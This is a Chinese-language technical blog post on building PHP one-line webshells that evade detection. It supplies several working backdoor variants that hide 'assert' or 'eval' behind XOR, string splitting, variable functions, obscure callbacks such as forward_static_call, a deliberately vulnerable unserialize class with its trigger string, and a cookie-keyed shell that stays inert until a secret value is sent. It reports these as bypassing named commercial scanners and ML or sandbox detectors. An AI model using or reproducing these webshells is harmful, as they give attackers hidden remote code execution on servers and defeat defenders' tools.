探讨新技术背景下的一句话免杀

 

一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,有体积小、隐蔽性强、功能强大等特点. 当然很多时候是因为方便,再加上这些年菜刀,蚁剑,冰蝎的发展,使得一句话木马被广泛应用于渗透过程中

从一句话木马出现到现在也有好多年的历史了,这些年友军也没闲着,涌现出了各种防护系统以及各种新技术,本文就来简单探讨一下在新技术背景下的一句话免杀.

 

主流webshell检测系统的检测方向

1.基于特征(正则表达式、黑名单制)检测的防护

2.基于行为+特征(沙盒技术、深度学习、机器学习)检测的防护

 

基于PHP语言版本对函数&免杀方法的影响

以下免杀方法仅对PHP版本7.1以下有效,部分免杀思路可以应用到7.1及其以上

在介绍影响之前首先先说明PHP中eval函数和assert函数的不同之处

eval:其实eval不能算是一个函数,它是一个语言构造器,语言构造器就相当于C中的预定义宏的意思,它属于php语言内部定义的关键词,不可以被修改,也不可以被禁用,同时语言构造器执行速度也比正常的函数要快,但是语言构造器不能被可变函数调用,可变函数就是通过一个变量获取其中的变量值,然后给该值加入(),使其变成一个函数去执行.通俗的讲就是<?php $a=”eval”;

@$a(@$_REQUEST[‘x’]); ?>这样是行不通的,这也就是为什么大家都是围绕着assert去进行各种变换&绕过.

但是在7.1版本中assert已经不行了,也就是说想要制作webshell必须要eval进行组成,在后面我会讲一些关于7.1之后的思路.但是可以预见到的是,如果完全过度到7.1以及以后版本之后,webshell的免杀的难度会大大增加.

下面针对这几种防护方向进行bypass

 

一.突破基于特征检测&静态检测的防护

绕过目标:

D盾

http://www.d99net.net/down/WebShellKill_V2.0.9.zip

安全狗

http://download.safedog.cn/download/software/safedogwzApache.exe

首先一句话木马的原理和功能用过的朋友都知道,核心就是要把字符串当作php代码进行执行,其中在php语言中,主要会使用eval和assert这两种函数,相关的变形和突破都是围绕着这两个函数以及字符串.

思路1.变换关键字

变换关键字这种办法一般安全设备的厂商都能识别,一般很难奏效了,这里具体就举几个思路很不错的例子,毕竟打组合拳还是需要这些思路的.

其中一些思路还是和一般绕过差不多

编码&拆解合并

利用各种字符串处理函数以及可变函数将一些敏感关键字变形,做到通过简单正则无法识别的地步

举个例子:

<?php
$arr=explode(",","a,s,d,f,s,d,e,k,r,t");
$payload=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//assert
//php版本要求:<=7.0
@$payload(@$_GET['x']);//payload
?>

同样规则的还有编码,利用编码隐藏关键字,核心思路都是:隐藏->还原->拼接执行

函数可以参考PHP的string函数

https://www.w3school.com.cn/php/php_ref_string.asp

或者通过定义数组能起到相同的效果

<?php
$array = array(
    'part_one'   => false,
    'part_two'    => $_REQUEST['x'],
);
eval($array['part_one'].$array['part_two']);
?>

随机异或加密

其实这个也是隐藏关键字的一种办法,只不过方法利用的随机异或的方法来进行隐藏关键字

举个例子:$a="Y"^"8"//a

利用异或来组成字符,也是一种很不错的思路,组合一下就成了下面的例子了:

<?php
//也可以用十六进制进行进一步加密,例如
//$r="x4d"^"x3f";
$one="Y"^"8";//a
$two="T"^"'";//s
$three="*"^"O";//e
$four="M"^"?";//r
$five="-"^"Y";//t
$payload=$one.$two.$two.$three.$four.$five;
@$payload(@$_REQUEST['x']);
?>

可变变量&函数

这里主要是利用PHP语言特性进行混淆

可变变量

<?php
$a='assert';
$b='a';
 //$$b=assert
?>

利用到木马上就是

<?php
$a='assert';
$b='a';
$$b($_REQUEST['x']);
?>

可变函数

可变函数前面介绍过了,简单的说就是一个变量名如果后门有()的话,PHP将会寻找与变量的值同名的函数,并且尝试执行它.

我们可以利用这点来进行混淆利用

举个例子

<?php
@$_REQUEST['z'](@$_REQUEST['x']);
?>
思路2.使用不常见的回调函数

显然像eval和assert 无论你怎么混淆或者伪装,waf以及查杀都会重点照顾他们,但是作为世界上最好的语言(笑),怎么可能灵活性这么差,我们可以利用一些冷门的回调函数进一步混淆&包装他们.

但是使用这些冷门的回调函数首先会出现一个问题,怎么去寻找这些函数?

这里分享一下方法:利用特征值去寻找冷门回调函数

首先我们看一下能够利用的函数都有那些特征值,举个例子

首先来个常见的可利用的回调函数,call_user_func,看下英文解释找到其中的特征

callback,什莫是特征?就是能够被利用的关键就是特征,能够被利用的回调函数的特征

1.回调函数

2.被调用

3.参数

4.方法

依次类推,总结成特征,翻译成英文就是called,callable,callback,invoke,function

以这些作为特征进行搜索寻找,能够大大减小搜索范围,增加找到的成功率

冷门回调函数绕过传统查杀

通过这种方法我们找到了forward_static_call()函数,利用它进行免杀

<?php
class test1
{
    public static function test2()
    {
        forward_static_call("assert", @$_REQUEST['x']);
    }
}
test1::test2();
?>

经测试,已过D盾,安全狗

思路3.正常代码隐藏&主动触发命令执行

这里主要利用PHP中可能存在命令执行漏洞的位置,然后去构造这个漏洞和触发它,达到命令执行->木马的目的.

这里主要是利用正常代码去混淆,这里举一个使用序列化漏洞触发命令执行的例子,同时这也是思路之一,使用正常代码去隐藏行为.相同道理,把一些敏感函数写在类或者自定义的函数里面,同样可以起到相同的效果.写的越接近业务逻辑代码,免杀的可能性就越高

构造漏洞

<?php
class payload_test{
    public $data="text";
    function __destruct()
    {
        eval($this->data);
    }
}
$file_name=$_GET['x'];
unserialize($file_name);
?>

触发命令执行

?x=O:12:"payload_test":1:{s:4:"data";s:10:"phpinfo();";}

检测之后,可过狗,但是D盾会报反序列化

以上这些思路和方法可以绕过一般的WAF&查杀,但是随着科技发展,越来越多的厂商选择使用机器学习算法以及动态检测技术来检测webshell.

 

二.突破基于机器学习技术的webshell查杀&基于动态检测技术的webshll查杀

绕过目标:

基于动态检测技术的webshell检测

https://scanner.baidu.com/#/pages/intro

基于深度学习模型的webshell检测

http://webshell.cdxy.me/

经过查阅一些资料发现,基于机器学习的webshell检测发现主要围绕着以下几种方式

1.收集webshell作为训练样本然后进行分类的黑名单训练

2.收集正常PHP业务逻辑代码和流量,进行白名单训练

3.如果直接用源代码分析,可能会出现很多的噪音,比如注释内容、花操作等等。为了过滤掉这些噪音。所以,我们使用PHP opcode 进行分析。这也是我查阅的资料中目前识别准确率较高的一种办法,比较推荐使用兜哥的opcode&n-gram模型.

兜哥文章:https://mp.weixin.qq.com/s/1V0xcjH-6V5qJoJILP0pJQ

动态检测技术,主要思路是将webshell放入沙盒,通过在沙盒中执行来分析行为,或者是使用RASP技术进行检测,这种防御手段也是彻底封死了基于混淆&隐藏的这种免杀手段了.

在不使用加密这种手段的前提下,有没有一种办法可以绕过基于这俩种技术的检测呢?

后来我在主动触发命令执行中找到了一些思路

为何主动触发命令执行这种办法能够混淆?就是因为再没有传入关键key值之前,它就是一段正常的代码,没有任何危害性,同理,应对以上两种技术我们可以使用相同的办法,用正常代码来混淆,在没有传递或者正确打开key值之前,它就是一段无害的代码,只有拥有了关键的key值,它才能变成木马.

也就是说,沙盒运行中webshell没有关键信息,所以它是人畜无害的,自然就免杀了,当我们连接的时候会带上关键key,自然就会变成后门木马.

下一个问题是关键信息怎么携带?思考了下,总结了几种办法

1.HTTP-head

2.HTTP-body

3.文件名

举个例子

<?php

class test1
{

    public static function test2()
    {
        $part = @$_COOKIE['cake'];
        if ($part != 'assert') {
            exit();
        } else {
            forward_static_call($part, @$_REQUEST['x']);
        }


    }
}
test1::test2();
?>

这样就做到了使用正常代码进行混淆的效果了,在不传入cake的时候,它就是无害的代码,一旦传入cake值为assert,就可以变成木马进行利用.

连接也是成功的

下面准备突破基于这两种技术的webshell查杀

机器学习突破

动态检测突破

使用这种办法,基于这两种技术的webshell检测基本就可以绕过了.

 

三.对于PHP7.1后webshell免杀的问题

关于这类问题,我相信看完前面的你,对于只能用eval的问题应该有一些思路了,如果没有这里可以给几点建议

1.既然不能混淆assert,那就混淆$_GET,$_POST,$_REQUEST,这种变量,会绕过一部分检测

2.使用正常代码混淆是依旧有效果的,因为正常代码中一样会出现eval

3.利用Apache、Nginx的特性实现免杀Webshell,感兴趣的可以参考下链接 https://www.uedbox.com/post/51694/

 

四.总结

对于冷门的回调函数以及各种花式混淆构造出的木马,基于传统的特征&黑名单检测已经失效了,要绕过这些很简单,因此已经失去了对抗webshell的意义了

对于新型的动态检测来说,还是不够成熟和稳定,但是很期待,它将会颠覆传统意义上的WAF.

下一篇可以讲下这种动态检测的背后—OpenRASP的技术原理和应用层次

对于机器学习模型检测来说,虽然效果大于基于规则的传统WAF,但是由于PHP本身的灵活性以及动态性,可以看到再不搞多维的情况下,难以有较好的效果(可能有大厂在样本庞大的情况下已经有了较好的模型,但是emmmm我也拿不到)

最后还是比较看好动态检测技术,也就是RASP防御,希望RASP 在未来一段时间内可以逐渐取代流量层 WAF 成为主流防御方式.

对于免杀来说,最重要的还是思路,以及对方使用的防御系统的了解,”知己知彼,百战不殆”,个人觉得想要免杀不是一件很难的事情,一个是多fuzzing,知道对方的防御规则以及原理,然后根据这些找出弱点进行绕过,另一个就是思路要灵活,要会打组合拳,一个思路不行,就多个思路组合在一起,多试试总是可以的.

(完)